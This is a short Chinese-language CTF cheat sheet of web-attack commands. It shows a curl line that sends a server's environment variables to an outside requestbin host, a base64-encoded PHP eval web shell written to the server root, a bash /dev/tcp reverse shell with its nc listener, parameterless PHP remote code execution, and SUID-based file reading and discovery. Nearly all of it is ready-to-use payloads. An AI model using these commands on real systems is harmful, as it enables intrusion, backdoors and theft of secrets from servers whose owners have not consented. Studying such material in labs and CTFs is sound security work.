linux:
#远程rce无回显时:
利用题目服务器向该网站发送请求(http://http.requestbin.buuoj.cn)可以记录下信息
#example:
curl -X POST -d "fizz=`env`" http://http.requestbin.buuoj.cn/1k26kqs1
服务器将本地环境变量里的值发送到了该网站
#将PHP文件写入根目录下,利用蚁剑连接
<?php eval($_POST[cc]);?>
base64:PD9waHAgZXZhbCgkX1BPU1RbY2NdKTs/Pg==
echo "PD9waHAgZXZhbCgkX1BPU1RbY2NdKTs/Pg==" | base64 -d >/cc.php
--------------------------------------------------------------------------------------
password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=echo "PD9waHAgZXZhbCgkX1BPU1RbY2NdKTs/Pg==" | base64 -d >/cc.php
#linux反弹shell
bash -c \"bash -i >& /dev/tcp/ip/7777 0>&1\"
#在自己的linux上监听
nc -lvp 7777
php:
#无参数rce
eval(end(current(get_defined_vars())));&flag=system('nl /*f*')
//获取自己定义的flag变量,利用eval执行
get_defined_vars():获得所有变量返回多维数组
current():获取当前数组指针指向的元素
end():获取数组最后一个元素
------------------------------------------------------------------------------------
//若某文件无权限访问,则利用suid提权复制文件到标准输出
eval(end(current(get_defined_vars())));&flag=system('cp "文件路径" /dev/stdout');
//具有suid权限的可执行文件
nmap;vim;find;bash;more;less;nano;cp;awk
find / -user root -perm -4000 -print 2>/dev/null
//查找具有suid权限的文件